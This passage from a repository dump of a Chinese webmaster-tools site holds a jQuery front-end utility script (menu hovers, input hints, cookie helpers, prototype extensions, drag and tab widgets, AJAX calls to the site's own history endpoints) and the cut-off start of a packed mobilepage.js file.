SMALL: 1000, LARGE: 1200 }; if (winWidth >= 1200) { // @media screen and (min-width: 1280px) pageWidth = 'LARGE'; } else { // Default width. pageWidth = 'SMALL'; } //document.body.className += (' pu' + pageWidth.toLowerCase()); $("body").attr("class", ' pu' + pageWidth.toLowerCase()); } $(document).ready(function () { //ToolTop menuHover($("#menu li>a"), $("#menu li p"), function (_this) { _this.siblings().addClass("OnCurt"); }, function (_this) { _this.siblings().removeClass("OnCurt"); }, 200); //Navbar var timer; $("#Navbar").hover(function () { clearTimeout(timer); timer = setTimeout(function () { $("#ToolNav").addClass("ToolNavbar-hover"); }, 300); }, function () { clearTimeout(timer); $("#ToolNav").removeClass("ToolNavbar-hover"); }); $(".WrapHid").each(function () { checkFocus({ obj_input: $(this), msgBox: $(this).siblings(".CentHid"), Tip: "CentHid" }); clearInput({ obj_input: $(this), msgBox: $(this).siblings("._CentHid"), Tip: "_CentHid" }); }); $(".ToolChoese").each(function () { _select({ select: $(this).find(".SearChoese"), options: $(this).find("ul.SearChoese-show"), option: $(this).find("ul.SearChoese-show li a"), t: "slide", //效果(可选参数) parents: $(".ToolChoese")//多个select时,传入父级(可选参数) }); }); Init(); //保存输入框的记录 ::如果输入框要保存为url input[url='true'],关键词则为input[words='true'] getLochis(); boxScroll({ _scroll: $("#toTop"), _width: 30, isresize: true, callback: function (op, _scrolltop) { if (_scrolltop >= 100) { $("#TFloat").fadeIn(200); } else { $("#TFloat").fadeOut(200); } $("#TFloat").click(function () { $("html,body").stop().animate({ scrollTop: 0 }, 200); }); } }); menuHover($("#record"), $("#RecordShow")); $("input[isnum='true']").on("keyup keydown", function (e) { entNumber(e, 1) }); //只能输入(不包含小数点)数字 $("input[isnums='true']").on("keyup keydown", function (e) { entNumber(e) }); //只能输入(或包含小数点)数字 $(".ToFooter a").hover(function () { $(".ToFooter a").removeClass("ToCurt"); $(this).addClass("ToCurt"); var index = $(this).index(); $(".GMFocusBox").addClass("autohide") $(".GMFocusBox").eq(index).removeClass("autohide"); }); // if (loadscripts) { // for (var i = 0; i < loadscripts.length; i++) { // loadScript({ url: loadscripts[i], elms: document.getElementsByTagName("body")[0] }) // } // } if ($("#settingpopup").length) { $("#settingpopup").addClass("autohide"); $("#top_link_center").mouseover(function () { $("#settingpopup").removeClass("autohide"); }); } //粘贴IP 分解 $(".ipgroup").each(function () { var group = $(this); group.find("input[n^='ip']").bind("paste", function (e) { var obj = e.target ? e.target : e.srcElement; setTimeout(function () { var ip = $(obj).val().trim(); var ipReg = /^((2[0-4]\d|25[0-5]|[01]?\d\d?)\.){3}(2[0-4]\d|25[0-5]|[01]?\d\d?)(\/(2[0-4]\d|25[0-5]|[01]?\d\d?))?$/; if (!ipReg.test(ip)) return; var ipArr = ip.split('.'); group.find("[n='ip1']").val(ipArr[0]); group.find("[n='ip2']").val(ipArr[1]); group.find("[n='ip3']").val(ipArr[2]); var iplastByte = ipArr[3];//允许输入127.0.0.1/2 输出结果为 127 0 0 2 if (iplastByte.indexOf("/")) { iplastByte = iplastByte.split('/'); group.find("[n='ip4']").val(iplastByte[iplastByte.length - 1]); } else group.find("[n='ip4']").val(iplastByte); }, 50); }); }); }); function menuHover(menuObj, menuItem, itemOverbackall, itemOutbackall, timer) { if (!timer) timer = 200; var hoverTimer, outTimer; menuObj.hover(function () { var _this = $(this); clearTimeout(hoverTimer); hoverTimer = setTimeout(function () { menuItem.hide(); _this.nextAll().show(); }, timer); }, function () { var _this = $(this); clearTimeout(outTimer); outTimer = setTimeout(function () { _this.nextAll().hide(); }, timer); }); menuItem.hover(function () { var _this = $(this); clearTimeout(hoverTimer); hoverTimer = setTimeout(function () { _this.show(); }, timer); if (itemOverbackall) itemOverbackall(_this); }, function () { var _this = $(this); clearTimeout(outTimer); outTimer = setTimeout(function () { _this.hide(); }, timer); if (itemOutbackall) itemOutbackall(_this); }); }; //SearchWrapHid-Cent var checkFocus = function (options) { var thisCheck = options.obj_input; //当前input var msgBox = options.msgBox; //当前提示标签 checkValue = thisCheck.val(); var trime = options.trime !== undefined ? options.trime : 200; thisCheck.focus(function () { msgBox.fadeOut(trime); }); thisCheck.blur(function () { if ($(this).val() == "") { if (msgBox.hasClass(options.Tip)) { msgBox.stop(true, true).fadeIn(trime); } return false; } else { msgBox.stop(true, true).fadeOut(trime); return true; } }); msgBox.click(function () { thisCheck.mousedown(); thisCheck.focus(); }); function init() { // if (!options.isselchk) // $(".publicSearch input[type='text']:first").focus().select(); if (checkValue !== '') { msgBox.stop(true, true).fadeOut(trime); } else { msgBox.stop(true, true).fadeIn(trime); } } init(); }; var clearInput = function (options) { var thisCheck = options.obj_input; //当前input var msgBox = options.msgBox; //当前提示标签 checkValue = thisCheck.val(); var trime = options.trime !== undefined ? options.trime : 100; thisCheck.bind("blur keyup", function () { if ($(this).val() == "") { if (msgBox.hasClass(options.Tip)) { msgBox.stop(true, true).fadeOut(trime); } } else { msgBox.stop(true, true).fadeIn(trime); } }); msgBox.click(function () { thisCheck.focus(); msgBox.stop(true, true).fadeOut(trime); thisCheck.val(""); }); function init() { $("input[type='text']:first").focus().select(); if (checkValue !== '') { msgBox.stop(true, true).fadeIn(trime); } else { msgBox.stop(true, true).fadeOut(trime); } } init(); }; var _select = function (settings) { settings.select.bind("selectstart", function () { return false; }); //禁用选中IE,其他-moz-user-select:none; settings.select.click(function (e) { if (settings.parents) if (settings.parents.length > 1) settings.parents.find("ul").not(settings.options).hide(); //如果有多个select隐藏非当前的所有相关ul if (settings.options.is(":visible")) showType(0); else showType(1); if (settings.selectcallback) settings.selectcallback(this); e.stopPropagation(); }); settings.option.click(function () { settings.select.text($(this).text()); settings.select.next().val($(this).attr("val")); showType(0); if (settings.callback) settings.callback(this); }); $(document).click(function () { if (settings.options.is(":visible")) showType(0); }); function showType(flage) { switch (settings.t) { case "slide": if (flage) { settings.options.slideDown(50); settings.select.siblings("span").addClass("corUp"); } else { settings.options.slideUp(50); settings.select.siblings("span").removeClass("corUp"); } break; case "fade": if (flage) { settings.options.fadeIn(200); settings.select.siblings("span").addClass("corUp"); } else { settings.options.fadeOut(200); settings.select.siblings("span").removeClass("corUp"); } break; default: if (flage) { settings.options.show(); settings.select.siblings("span").addClass("corUp"); } else { settings.options.hide(); settings.select.siblings("span").removeClass("corUp"); } break; } } }; /** * 移除数组中的空元素 * @param {array} 数组 * @returns {narray} 新数组 * */ Array.prototype.trimArray = function () { var array = this; var narray = []; for (var i = 0; i < array.length; i++) if (array[i]) { if (typeof array[i] == "string") { if (array[i].trim()) narray.push(array[i]); } else { narray.push(array[i]); } } return narray; }; /** * 移除数组中的指定元素 * @param {elm} 指定元素值 * @returns {narray} 新数组 * */ Array.prototype.remove = function (elm) { for (var i = 0; i < this.length; i++) { if (this[i] == elm) { this[i] = ''; break; } } return this.trimArray(); //清除空元素 }; /** * 去除数组中重复的元素 * @param {isStrict} 是否严格模式 * ['1',1] isStric=true 返回1,否则,返回1,1 * @returns {Array} * */ Array.prototype.unique = function (isStrict) { if (!this.length) return []; if (this.length < 2) return [this[0]] || []; var tempObj = {}, newArr = []; for (var i = 0; i < this.length; i++) { var v = this[i]; var condition = isStrict ? (typeof tempObj[v] != typeof v) : false; if ((typeof tempObj[v] == "undefined") || condition) { tempObj[v] = v; newArr.push(v); } } return newArr; }; /** * 统计元素在数组中出现的次数 * @param {array} 数组 * ['1',1] isStric=true 返回1,否则,返回1,1 * @returns {Array} 返回一个二维数组::["元素名","出现的次数"] * */ Array.prototype.sameCount = function () { var res = []; var ary = this; ary.sort(); for (var i = 0; i < ary.length; ) { var count = 0; for (var j = i; j < ary.length; j++) { if (ary[i] == ary[j]) { count++; } } res.push([ary[i], count]); i += count; } return res; } var getClassName = function (name) { try { return document.getElementsByClassName(name); } catch (e) { var tags = document.getElementsByTagName('*') || document.all; var els = []; for (var i = 0; i < tags.length; i++) { if (tags[i].className && typeof tags[i].className == "string") { var cs = []; try { cs = tags[i].className.split(' '); } catch (e) { break; } for (var j = 0; j < cs.length; j++) { if (name == cs[j]) { els.push(tags[i]); break } } } } return els } }; var byClass = getClassName; function gopage(page, form) { $("#pagelist a.item").click(function () { $("#" + page).val($(this).attr("val")); //jq中submit()提交表单需加setTimeout兼容IE6,原因未知 setTimeout(function () { $("#" + form).submit(); }, 0); }); $("#pageok").click(function () { if ($("#pn").val()) { $("#" + page).val($("#pn").val()); setTimeout(function () { $("#" + form).submit(); }, 0); } }); } /** * 格式化时间函数 * @param {format} 时间显示格式 */ Date.prototype.format = function (format) { var date = { "M+": this.getMonth() + 1, "d+": this.getDate(), "h+": this.getHours(), "m+": this.getMinutes(), "s+": this.getSeconds(), "q+": Math.floor((this.getMonth() + 3) / 3), "S+": this.getMilliseconds() }; if (/(y+)/i.test(format)) { format = format.replace(RegExp.$1, (this.getFullYear() + '').substr(4 - RegExp.$1.length)); } for (var k in date) { if (new RegExp("(" + k + ")").test(format)) { format = format.replace(RegExp.$1, RegExp.$1.length == 1 ? date[k] : ("00" + date[k]).substr(("" + date[k]).length)); } } return format; }; String.prototype.format = function (args) { if (arguments.length > 0) { var result = this; if (arguments.length == 1 && typeof (args) == "object") { for (var key in args) { var reg = new RegExp("({" + key + "})", "g"); result = result.replace(reg, args[key]); } } else { for (var i = 0; i < arguments.length; i++) { if (arguments[i] == undefined) { result = result.replace(reg, arguments[i]); } else { var reg = new RegExp('\\{' + i + '\\}', 'gm'); ; result = result.replace(reg, arguments[i]); } } } return result; } else { return this; } } String.prototype.trim = function () { return this.replace(/(^\s*)|(\s*$)/g, '') }; function StringBuilder() { this.__values = new Array(); }; StringBuilder.prototype.appendLine = function (v) { this.__values.push(v); } StringBuilder.prototype.toString = function () { return this.__values.join(''); } Number.prototype.toFixed = function (d) { var s = this + ""; if (!d) d = 0; if (s.indexOf(".") == -1) s += "."; s += new Array(d + 1).join("0"); if (new RegExp("^(-|\\+)?(\\d+(\\.\\d{0," + (d + 1) + "})?)\\d*$").test(s)) { var s = "0" + RegExp.$2, pm = RegExp.$1, a = RegExp.$3.length, b = true; if (a == d + 2) { a = s.match(/\d/g); if (parseInt(a[a.length - 1]) > 4) { for (var i = a.length - 2; i >= 0; i--) { a[i] = parseInt(a[i]) + 1; if (a[i] == 10) { a[i] = 0; b = i != 1; } else break; } } s = a.join("").replace(new RegExp("(\\d+)(\\d{" + d + "})\\d$"), "$1.$2"); } if (b) s = s.substr(1); return (pm + s).replace(/\.$/, ""); } return this + ""; } //限制只能键入数字,flage:是否验证‘.’传入则不可以输入‘.’ function entNumber(e, flage) { e = e || window.event; var keyCode = e.keyCode || e.which; if (!(keyCode == 46) && !(keyCode == 8) && !(keyCode == 37) && !(keyCode == 39) && !(keyCode == 17) && !(keyCode == 13) && ctrlKey()) { if (!((keyCode >= 48 && keyCode <= 57) || (keyCode == 110 || keyCode == 190) || keyCode == 9 || (keyCode >= 96 && keyCode <= 105))) stopDefault(e); if (flage) if (!((keyCode >= 48 && keyCode <= 57) || keyCode == 9 || (keyCode >= 96 && keyCode <= 105))) stopDefault(e); } //ctrl+c/v/a/x/z function ctrlKey() { return !(e.ctrlKey && keyCode == 67) && !(e.ctrlKey && keyCode == 86) && !(e.ctrlKey && keyCode == 65) && !(e.ctrlKey && keyCode == 88) && !(e.ctrlKey && keyCode == 90) } } function getKeyCode(e) { e = e || window.event; return e.keyCode || e.which; } //阻止浏览器的默认行为 function stopDefault(e) { e = e || window.event; if (e.preventDefault) e.preventDefault(); //其他浏览器 else e.returnValue = false; //IE浏览器 } /** * 阻止事件(包括冒泡和默认行为) * */ function stopEvent(e) { e = e || window.event; if (e.preventDefault) { //其他浏览器 e.preventDefault(); e.stopPropagation(); } else { //IE浏览器 e.returnValue = false; e.cancelBubble = true; } }; function getid(id) { return (typeof id == 'string') ? document.getElementById(id) : id }; function getcookie(name) { var cookie_start = document.cookie.indexOf(name); var cookie_end = document.cookie.indexOf(";", cookie_start); return cookie_start == -1 ? '' : unescape(document.cookie.substring(cookie_start + name.length + 1, (cookie_end > cookie_start ? cookie_end : document.cookie.length))); } function setcookie(cookieName, cookieValue) { var expires = new Date(); var now = parseInt(expires.getTime()); var et = (86400 - expires.getHours() * 3600 - expires.getMinutes() * 60 - expires.getSeconds()); expires.setTime(now + 1000000 * (et - expires.getTimezoneOffset() * 60)); document.cookie = escape(cookieName) + "=" + escape(cookieValue) + ";expires=" + expires.toGMTString() + "; path=/"; } function IsURL(strUrl) { //var regular = /^\b(((https?|ftp):\/\/)?[-a-z0-9]+(\.[-a-z0-9]+)*\.(?:com|edu|gov|int|mil|net|org|biz|info|name|museum|asia|coop|red|aero|xyz|top|ren|club|wang|[a-z][a-z]|((25[0-5])|(2[0-4]\d)|(1\d\d)|([1-9]\d)|\d))\b(\/[-a-z0-9_:\@&?=+,.!\/~%\$]*)?)$/i var regular = /^\b(((https?|ftp):\/\/)?[-a-z0-9]+(\.[-a-z0-9]+)*\.([a-z0-9]+)(\/[-a-z0-9_:\@&?=+,.!\/~%\$]*)?)$/i if (regular.test(strUrl)) { return true; } else { return false; } } //url参数分解 String.prototype.queryString = function () { var raw = this.toString(); if (raw.length == 0) return null; var arr = []; var collection = raw.split('&'); for (var i = 0; i < collection.length; i++) { var o = {}; var tmp = collection[i].split('='); o.k = tmp[0]; o.v = tmp[1]; arr.push(o); } return arr; } //获取url参数值 String.prototype.queryStringValue = function (keyName) { var url = this.toString(); if (url.length == 0) return null; var collection = url.split('&'); for (var i = 0; i < collection.length; i++) { var tmp = collection[i].split('='); if (tmp.length < 2) continue; if (tmp[0].toUpperCase() == keyName.toUpperCase()) return tmp[1]; } return null; } function Init() { var currentInput = null; var iswords = false; var showtype = "url"; var trime; var tipTxt; var inputSave = { OnKeyup: function (e) { var obj = e.target ? e.target : e.srcElement; if (/\s+/.test(obj.value)) $(obj).val($(obj).val().replace(/\s+/g, '')); setTimeout(function () { inputSave.addInput('' + obj.id + '', this) }, 200); }, BoxShowUrls: function (e) { if (currentInput) { if ($(currentInput).siblings(".CentHid").hasClass("col-red")) $(currentInput).siblings(".CentHid").removeClass("col-red") } inputSave.BoxShowTime(e, "url"); }, BoxHide: function (e) { clearTimeout(trime); trime = setTimeout(function () { if (getid("ToolBox")) { getid("ToolBox").style.display = 'none'; var tags = document.getElementsByTagName('input'); for (var i = 0; i < tags.length; i++) { if (tags[i].getAttribute('f') == '1') { tags[i].setAttribute('f', 0) } } } }, 200); }, OnPaste: function (e) { var obj = e.target ? e.target : e.srcElement; setTimeout(function () { inputSave.MoveHttp('' + obj.id + '') }, 200); }, BoxShowWords: function (e) { inputSave.BoxShowTime(e, "words"); }, BoxShowCname: function (e) { inputSave.BoxShowTime(e, "cname"); }, BoxShowIcpcode: function (e) { inputSave.BoxShowTime(e, "icpcode"); }, BoxShowTime: function (e, b) { if (getid("ToolBox")) getid("ToolBox").style.display = 'none'; clearTimeout(trime); trime = setTimeout(function () { showtype = b; if (tipTxt) $(currentInput).siblings(".CentHid").removeClass("col-hint").text(tipTxt); inputSave.BoxShow(e); }, 200); }, BoxShow: function (e) { var input = e; if (!input.id) { input = e.target ? e.target : e.srcElement; } currentInput = input; switch (showtype) { case "url": inputSave.FillUrls("toolbox_urls"); break; case "words": inputSave.FillUrls("toolbox_words"); break; case "cname": inputSave.FillUrls("toolbox_cname"); break; case "icpcode": inputSave.FillUrls("toolbox_icpcode"); break; } var box = getid("ToolBox"); if (box.style.display == 'block' && currentInput.id == input.id) { return; } input.setAttribute("f", "1"); var o_span = ($(input).parent())[0]; box.style.left = inputSave.getOffsetLeft(o_span) + 'px'; box.style.top = (inputSave.getOffsetTop(o_span) + (o_span.offsetHeight - 1)) + 'px'; box.style.width = o_span.offsetWidth - 2 + 'px'; box.style.display = 'block'; }, FillUrls: function (cookieName) { var urls = getcookie(cookieName); var html = ""; switch (showtype) { case "url": html = "
  • +保存输入框的网址
  • "; break; case "words": html = "
  • +保存输入框的关键字
  • "; break; case "cname": html = "
  • +保存输入框的公司名称
  • "; break; case "icpcode": html = "
  • +保存输入框的备案编号
  • "; break; } if (urls != '' && urls != ';') { var urllist = urls.split('|'); for (var i = 0; i < urllist.length; i++) { var textval = urllist[i]; html += "
  • " + textval + "
  • "; } } else { html += "
  • 没有记录
  • " } getid("xlist").innerHTML = html; $("#ToolBox .add").click(inputSave.ToolBoxAdd); $("#ToolBox .setval").click(function () { inputSave.InputSetValue($(this).text()); $("form .jstrime").remove(); setTimeout(function () { $(".WrapHid").each(function () { checkFocus({ obj_input: $(this), msgBox: $(this).siblings(".CentHid"), Tip: "CentHid", isselchk: true }); }); $(currentInput).removeClass("col-hint"); }, 200); }); $("#ToolBox .del").click(function (e) { stopEvent(e); inputSave.ToolBoxDeleteValue($(this).attr("v")); $(".WrapHid").each(function () { checkFocus({ obj_input: $(this), msgBox: $(this).siblings(".CentHid"), Tip: "CentHid", isselchk: true }); }); }); }, getOffsetTop: function (el, p) { var _t = el.offsetTop; while (el = el.offsetParent) { if (el == p) break; _t += el.offsetTop } return _t }, getOffsetLeft: function (el, p) { var _l = el.offsetLeft; while (el = el.offsetParent) { if (el == p) break; _l += el.offsetLeft } return _l }, ToolBoxAdd: function () { inputSave.BoxHide(); var val = currentInput.value.trim(); //col-red if (val == '') { //alert("不能添加空值。"); tipTxt = $(currentInput).siblings(".CentHid").text(); $(currentInput).siblings(".CentHid").addClass("col-hint").text("不能添加空值"); return; } if (showtype == "url") { if (!IsURL(val)) { //alert("输入网址不正确!") tipTxt = $(currentInput).siblings(".CentHid").text(); currentInput.value = ''; $(currentInput).siblings(".CentHid").addClass("col-hint").text("输入网址不正确").show(); return; } } if (location.host.indexOf("mobile") >= 0 || location.host.indexOf("index") >= 0 || location.host.indexOf("wapseo") >= 0)//如果是mobile.chinaz.com $.ajax({ type: "POST", url: "/fit/toobox", data: { "addval": escape(val), "showtype": showtype} }); else $.ajax({ type: "POST", url: "/ajaxsync.aspx", data: 'at=toolbox&showtype=' + showtype + '&addval=' + escape(val) }); }, addInput: function (id, _this) { var obj = getid(id); if (obj.value.indexOf('。') > 0) { obj.value = obj.value.replace('。', '.'); } this.value = obj.value; }, MoveHttp: function (id) { var val = getid(id).value; val = val.replace(/http(s)?:\/\//, ""); var temp = val.split('/'); if (temp.length <= 2) { if (val[val.length - 1] == '/') { val = val.substring(0, val.length - 1); } } getid(id).value = val; }, ToolBoxDeleteValue: function (val) { inputSave.BoxHide(); if (location.host.indexOf("mobile") >= 0 || location.host.indexOf("index") >= 0 || location.host.indexOf("wapseo") >= 0)//如果是mobile.chinaz.com $.ajax({ type: "POST", url: "/fit/toobox", data: { "delval": escape(val), "showtype": showtype} }); else $.ajax({ type: "POST", url: "/ajaxsync.aspx", data: 'at=toolbox&showtype=' + showtype + '&delval=' + escape(val) }); }, InputSetValue: function (val) { setTimeout(function () { var obj = currentInput; obj.value = val; if ($("input[name='page']")) $("input[name='page']").val(1); if (obj.getAttribute('url') == 'true') { var tags = document.getElementsByTagName('input'); for (var i = 0; i < tags.length; i++) { if (tags[i].getAttribute('url') == 'true' && tags[i] != obj && tags[i].getAttribute('f') == '1') { tags[i].value = val; } } } }, 200); inputSave.BoxHide(); } } $("input[url='true']").bind({ keyup: inputSave.OnKeyup, mousedown: inputSave.BoxShowUrls, mouseout: inputSave.BoxHide, paste: inputSave.OnPaste }); $("input[words='true']").bind({ mousedown: inputSave.BoxShowWords, mouseout: inputSave.BoxHide }); $("input[cname='true']").bind({ mousedown: inputSave.BoxShowCname, mouseout: inputSave.BoxHide }); $("input[icpcode='true']").bind({ mousedown: inputSave.BoxShowIcpcode, mouseout: inputSave.BoxHide }); $("#ToolBox").mouseout(inputSave.BoxHide).mouseover(function () { clearTimeout(trime); $(this).show(); }); } //查询记录 function getLochis() { menuHover($("#selecthis"), $("#selecthis-box"), function () { $("#selecthis i").addClass("cnerCurt").removeClass("corner"); }, function () { $("#selecthis i").removeClass("cnerCurt").addClass("corner"); }); var ocookie; $("#selecthis").hover(function () { var winWidth = window.innerWidth || document.documentElement && document.documentElement.clientWidth || 0; if (winWidth < 1050) { $("#selecthis-box").css({ left: "auto", right: "20px" }); $("#selecthis-box .BomCor-arrow").css({ left: "auto", right: "6px" }); } else { $("#selecthis-box").css({ left: "20px", right: "auto" }); $("#selecthis-box .BomCor-arrow").css({ left: "6px", right: "auto" }); } $("#selecthis i").addClass("cnerCurt").removeClass("corner"); var cookie = getcookie("qHistory"); if (cookie == ocookie) return; ocookie = cookie; var url; if (location.host.indexOf("mobile") >= 0 || location.host.indexOf("index") >= 0 || location.host.indexOf("wapseo") >= 0) { url = "/fit/GetQueryHistory?val="; } else { url = "/ajaxsync.aspx?at=qh&val="; } $.ajax({ type: "get", url: url + encodeURIComponent(cookie), beforeSend: function () { $(".BomreList").html("
    "); }, success: function (data) { if (data == 0) $(".BomreList").html("
    无记录
    "); else { $(".BomreList").html(data + "清空记录"); bindClick(); } } }); }, function () { $("#selecthis i").removeClass("cnerCurt").addClass("corner"); }); } function bindClick() { $("i.jsclear").click(function () { var _this = this; var url; if (location.host.indexOf("mobile") >= 0 || location.host.indexOf("index") >= 0 || location.host.indexOf("wapseo") >= 0) { url = "/fit/clearqh?val="; } else { url = "/ajaxsync.aspx?at=clearqh&val="; } $.post(url + encodeURIComponent($(this).attr("v")), function (data) { if (data == 1) { var _parents = $(_this).parents(".BorWrapa"); _parents.fadeOut(200, function () { _parents.remove(); if ($("i.jsclear").length == 0) $("#selecthis-box").hide(); }); } }); }); $("#jsclearall").click(function () { var url; if (location.host.indexOf("mobile") >= 0 || location.host.indexOf("index") >= 0 || location.host.indexOf("wapseo") >= 0) { url = "/fit/clearqh?val=all"; } else { url = "/ajaxsync.aspx?at=clearqh&val=all"; } $.post(url, function (data) { if (data == 1) $("#selecthis-box").fadeOut(200); }); }); } //滚动事件 var boxScroll = function (options) { var settings = { _scroll: $("#scroll"), //滚动的div _width: 0, _height: 0, _top: 0, //定位top _left: 0, //定位left endElm: "", //结束id ow: 10, //padding或margin的值,用来准确定位 isresize: false, callback: function () { } }; if (options) $.extend(settings, options); var _scroll = settings._scroll; _scrollfn(); $(window).scroll(function () { _scrollfn(); }); if (settings.isresize) { $(window).resize(function () { _scrollfn(); }); } function _scrollfn() { var _scrolltop = $(window).scrollTop(); var _postiton = "fixed"; //默认 if (sys.ie <= 6) _postiton = "absolute"; if (settings.endElm) { var endTop = settings.endElm.offset().top; //结束的TOP if (_scrolltop <= settings._top) { _scroll.css({ position: "static" }); } else if (_scrolltop + settings._height >= endTop) { _scroll.css({ position: "absolute", left: settings._left + "px", top: (endTop - settings._height - settings.ow) + "px" }); } else { _scroll.css({ position: _postiton, left: settings._left + "px", top: sys.ie <= 6 ? ((_scrolltop + settings.ow) + "px") : "10px" }); } } else { settings._winWidth = window.innerWidth || document.documentElement && document.documentElement.clientWidth || 0; settings._winHeight = window.innerHeight || document.documentElement && document.documentElement.clientHeight || 0; var ob = $('.Map-navbar').length ? $('.Map-navbar') : $(".navfixd"); if (!ob.length) return; var l; if (settings._winWidth <= ob.width() + 75) { _scroll.css({ position: _postiton, left: "auto", right:"0", top: sys.ie <= 6 ? ((_scrolltop + (settings._winHeight * 0.9) - settings._height) + "px") : "initial" }).show(); } else { _scroll.css({ position: _postiton, left: ob.offset().left + ob.width(), top: sys.ie <= 6 ? ((_scrolltop + (settings._winHeight * 0.9) - settings._height) + "px") : "initial" }).show(); } if (settings.callback) settings.callback(settings, _scrolltop); } } }; ; (function () { window.sys = {}; var ua = navigator.userAgent.toLowerCase(); var s; (s = ua.match(/msie ([\d.]+)/)) ? sys.ie = s[1] : (s = ua.match(/firefox\/([\d.]+)/)) ? sys.firefox = s[1] : (s = ua.match(/chrome\/([\d.]+)/)) ? sys.chrome = s[1] : (s = ua.match(/opera\/.*version\/([\d.]+)/)) ? sys.opera = s[1] : (s = ua.match(/version\/([\d.]+).*safari/)) ? sys.safari = s[1] : 0; if (/webkit/.test(ua)) sys.webkit = ua.match(/webkit\/([\d.]+)/)[1]; })(); /* 内容溢出省略替代,num最大长度 */ ; (function ($) { $.fn.wordLimit = function (num) { this.each(function () { if (!num) { var copyThis = $(this.cloneNode(true)).hide().css({ 'position': 'absolute', 'width': 'auto', 'overflow': 'visible' }); $(this).after(copyThis); if (copyThis.width() > $(this).width()) { $(this).text($(this).text().substring(0, $(this).text().length - 4)); $(this).html($(this).html() + '...'); copyThis.remove(); $(this).wordLimit(); } else { copyThis.remove(); return; } } else { var maxwidth = num; if ($(this).text().length > maxwidth) { $(this).text($(this).text().substring(0, maxwidth)); $(this).html($(this).html() + '...'); } } }); } })(jQuery); function loadScript(options) { var url = options.url, elms = options.elms, callback = options.callback; var script = document.createElement("script"); script.type = "text/javascript"; if (script.readyState) { script.onreadystatechange = function () { if (script.readyState == "loaded" || script.readyState == "complete") { script.onreadystatechange = null; if (callback) callback(); } }; } else { script.onload = function () { if (callback) callback(); }; } script.src = url; elms.appendChild(script) } //过滤HTML标签 String.prototype.removeHtmlTab = function () { return this.replace(/<[^<>]+?>/g, ''); } //HTML标签字符转换成转意符 String.prototype.html2Escape = function () { return this.replace(/[<>&"]/g, function (c) { return { '<': '<', '>': '>', '&': '&', '"': '"'}[c]; }); } //转意符换成HTML标签 String.prototype.escape2Html = function () { var arrEntities = { 'lt': '<', 'gt': '>', 'nbsp': ' ', 'amp': '&', 'quot': '"' }; return this.replace(/&(lt|gt|nbsp|amp|quot);/ig, function (all, t) { return arrEntities[t]; }); } // 转成空格 String.prototype.nbsp2Space = function () { var arrEntities = { 'nbsp': ' ' }; return this.replace(/&(nbsp);/ig, function (all, t) { return arrEntities[t] }) } //回车转为br标签 String.prototype.return2Br = function () { return this.replace(/\r?\n/g, "
    "); }; /*********Tabs***********/ ; (function ($) { $.fn.tabs = function (settings) { var $control = $(settings.control); var childTag = settings.childTag; var className = settings.className; var eventName = settings.eventName; this.each(function () { var _this = $(this); var group = _this.attr("tabs"); _this.find(childTag).bind(eventName, function (e) { var _index = $(this).index(); _this.find(childTag).removeClass(className); $(this).addClass(className); $control.each(function () { var cgroup = $(this).attr("tabs-control"); if (group == cgroup) { $(this).find(">div").hide(); $(this).find(">div").eq(_index).show(); } }); if (settings.callback) settings.callback(_this); }); }); } })(jQuery); /********************/ function Drag(obj, mover, parentElm) { this.obj = obj; this.mover = mover; this.ht = mover || obj; this.parentElm = parentElm; } Drag.prototype.mouseup = function (_this, e, callback) { e = e || window.event; if (_this.obj.drag) { _this.obj.drag = 0; if (sys.ie) _this.ht.releaseCapture(); else { window.releaseEvents(Event.MOUSEMOVE | Event.MOUSEUP); e.preventDefault(); } document.body.onselectstart = null; } if (callback) callback(); } Drag.prototype.mousemove = function (_this, e, callback) { if (!_this.obj.drag) return; e = e || window.event; var l, t; if (_this.parentElm) { var pos = $(_this.parentElm).position(); l = e.clientX - _this.obj._x - pos.left; t = e.clientY - _this.obj._y - pos.top; } else { l = e.clientX - _this.obj._x; t = e.clientY - _this.obj._y; } if (l < 0) l = 0; if (t < 0) t = 0; var inner; if (_this.parentElm) inner = { width: _this.parentElm.offsetWidth, height: _this.parentElm.offsetHeight }; else inner = getInner(); if (l + _this.obj.offsetWidth >= inner.width) l = inner.width - _this.obj.offsetWidth; if (t + _this.obj.offsetHeight >= inner.height) t = inner.height - _this.obj.offsetHeight; //console.log($(_this.parentElm).position().top); $(_this.obj).css({ left: l + "px", top: t + "px" }); if (callback) callback({ left: l, top: t }); } Drag.prototype.mousedown = function (_this, e, callback) { e = e || window.event; if (sys.ie) _this.ht.setCapture(); else { window.captureEvents(Event.MOUSEMOVE | Event.MOUSEUP); e.preventDefault(); } var l = getLeft(_this.obj), t = getTop(_this.obj); _this.obj._x = e.clientX - l; _this.obj._y = e.clientY - t; _this.obj.drag = 1; document.body.onselectstart = function () { return false; }; if (callback) callback({ left: e.clientX, top: e.clientY }); } Drag.prototype.init = function (settings) { var _options = { isCenter:true,//是否 downCallback: null, moveCallback: null, upCallback: null }; _options = $.extend(_options,settings); var _this = this; if (_options.isCenter) center(_this.obj); $(_this.ht).on("mousedown", function (e) { _this.mousedown(_this, e, _options.downCallback); }); if (!sys.ie) _this.ht = document.body; $(_this.ht).on("mousemove", function (e) { _this.mousemove(_this, e, _options.moveCallback); }); $(_this.ht).on("mouseup", function (e) { _this.mouseup(_this, e, _options.upCallback); }); $(window).resize(function () { if (_options.isCenter) center(_this.obj); }); } var getInner = function () { return { width: window.innerWidth || document.documentElement && document.documentElement.clientWidth || 0, height: window.innerHeight || document.documentElement && document.documentElement.clientHeight || 0 } } var center = function (elm) { var inner = getInner(); elm.style.left = ((inner.width - elm.clientWidth) / 2) + "px"; elm.style.top = ((inner.height - elm.clientHeight) / 2) + "px"; } var getTop = function (e) { var offset = e.offsetTop; if (e.offsetParent != null) offset += getTop(e.offsetParent); return offset; } var getLeft = function (e) { var offset = e.offsetLeft; if (e.offsetParent != null) offset += getLeft(e.offsetParent); return offset; } ; (function ($) { $.fn.serializeObject = function () { var o = {}; var a = this.serializeArray(); $.each(a, function () { if (o[this.name]) { if (!o[this.name].push) { o[this.name] = [o[this.name]]; } o[this.name].push(this.value || ''); } else { o[this.name] = this.value || ''; } }); return o; } })(jQuery); ================================================ FILE: web_chinaz/chinaz/static/js/mobilepage.js ================================================ eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('2 